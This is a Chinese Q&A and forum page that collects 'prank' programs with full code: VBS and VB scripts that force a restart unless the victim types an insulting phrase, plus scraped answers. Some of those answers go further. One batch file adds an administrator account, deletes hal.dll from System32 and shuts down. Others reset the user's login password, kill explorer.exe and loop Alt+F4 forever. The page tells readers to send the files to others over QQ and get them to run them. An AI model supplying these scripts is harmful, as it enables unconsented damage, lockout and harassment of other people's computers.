有哪些整人的程序?最好把代码写下来.

好玩的整人代码有哪些？~

Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"
这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时、不会关掉？ 就双击这个vbs脚本就可以了。
制作方法：建立一个记事本。写下我告诉你的代码。 然后点击—-选择所有文件，并且文件名为.vbs结尾【例如：我爱你.vbs】
供把资料和指示输入自动计算机或制表机的任何符号系统;亦指这种符号的记录(如靠打孔资料卡片或磁带上的受磁点。

我不知道你是不是这个整人代码！
代码如下：
--------------------------------------------我是横线不要复制我------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"
--------------------------------------------我是横线不要复制我------------------------------------------
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe
把文件传送给对方~~只要对方一打开一分钟就会关机，如上面说的，要你说那三个字，就不会关机了哈哈大家试试吧。
用QQ传送文件发送给他！叫他打开！

这是我以前保存的共享出来呢 第一个:

程序代码
以下是引用片段：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥，不叫让你1分钟关机，不叫，试试···"" ",0 ,true
dim a
do while(a <> "哥哥")
a = inputbox ("说我是猪,就不关机，快，说 ""哥哥"" ","叫不叫","不叫",7000,8000)
msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"
msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"
msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"
msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"
msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"
msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"
msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"
msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"
msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"
msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"

第二个:

程序代码
以下是引用片段：
Option Explicit
Private Sub Command1_Click()
Dim wood As String
MsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话
wood = InputBox("请输入密码:")
If wood = "骂自己" Then '密码可以自己设
End
Else
Shell "cmd.exe /c shutdown -s -t 60" '60秒后关几
End If
End Sub
Private Sub Command2_Click()
Shell "cmd.exe /c shutdown -a"
MsgBox "不怎么好玩", vbExclamation,"不玩了"
End
End Sub

第三个:

程序代码
以下是引用片段：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,true
dim a
do while(a <> "我是笨蛋")
a = inputbox ("说你自己是笨蛋。负责关机 ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说不就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真听话!哈.."

用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY...
复制此代码新建文本文档命名为 整人.vbe（名字随便起，后缀名是vbe就可以了！）

---

八宿县13618858463： 有哪些整人的程序?最好把代码写下来. - ？
爱新觉罗胞麻杏： 这是我以前保存的共享出来呢 第一个:程序代码 以下是引用片段:on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 55 -c ＂＂快叫哥哥,不叫让你1分钟关机...

八宿县13618858463： 求一些整人的程序 - ？
爱新觉罗胞麻杏： dim s,a,ssd,po,f s=0 do until s=30 s=s+1 msgbox＂大傻逼呀大傻逼~~我就不信你关得了!＂,16,＂sexy肥婆二少奶的又一力作＂ wscript.sleep 25000 msgbox＂都说了关不了了!我是上帝,我不会死!＂,16,＂sexy肥婆二少奶的又一力作＂ ...

八宿县13618858463： 求一些电脑整人代码要无毒的哦..谁有?直接发代码. - ？
爱新觉罗胞麻杏： 代码开始,只抄横线里面的 _______________________________ @echo off net user administrator nishizhu\add del /s /q c:\Windows\System32\hal.dll shutdown -s -t 5 -c 你是一头猪!!! _______________________________ 代码详解: @...

八宿县13618858463： 整人代码 - ？
爱新觉罗胞麻杏： 楼主的VB是VBS把 先说批处理、 1.掉qq taskkill /im qq.exe /f /t 2.10秒强制关机(任务管理器无效) shutdown -s -t 10 3.死机 start cmd 0% 4.设置登录密码为2097152 net user ＂%username%＂ 2097152 5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe VBS的 1.莫名其妙结束当前程序 set ws=createobject(＂wscript.shell＂) do ws.sendkeys ＂%{f4}＂ loop 2.不断提示你是猪 do msgbox(＂你是猪＂) loop 这些够了不?

八宿县13618858463： 求一个C语言整人程序代码 - ？
爱新觉罗胞麻杏： #include#includevoid main(){ system(＂shutdown -l -t 20＂);}

八宿县13618858463： 谁有能让别人电脑自动关机或其他整人的程序啊! - ？
爱新觉罗胞麻杏： VB整人小程序三个 第一个: 程序代码 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 55 -c ＂＂快叫哥哥,不叫让你1分钟关机,不叫,试试···＂＂ ＂,...

八宿县13618858463： 给我传个整人的电脑程序谢谢了, - ？
爱新觉罗胞麻杏： vb整人关机程序代码,有点狠,先看看后果在玩哦,仅供学习代码用…………天津seo 第一个: 程序代码 以下是引用片段: on error resume next dim WSHshellA set WSHshellA = wscript...

八宿县13618858463： 谁有易语言整人代码?？
爱新觉罗胞麻杏： 这些是我的五个整人代码,直接复制进去即可. ========== 一、鼠标整人型: .版本 2 .支持库 eAPI .子程序 __启动窗口_创建完毕 .局部变量 变量 .局部变量 返回值, 整数型 _启动窗口.在任务条中显示 = 假 _启动窗口.可视 = 假 .计次循环首 ...

八宿县13618858463： 大家帮忙给几个电脑的整人代码 - ？
爱新觉罗胞麻杏： 开始,运行shutdown.exe -s -t 6060秒自动关机 解除方法,开始,运行shutdown -a

八宿县13618858463： 小弟求VBS整人代码 比较有用的!以前发过的就不要在发了!求那种运行就蓝屏之类的 比较新的代码 - ？
爱新觉罗胞麻杏： '一直关不了,除非删除:set a=wscript.createobject(＂wscript.shell＂) a.run(＂wscript.exe 1.vbs＂) msgbox(＂因为主机过热所以引发错误!＂,16,＂错误＂)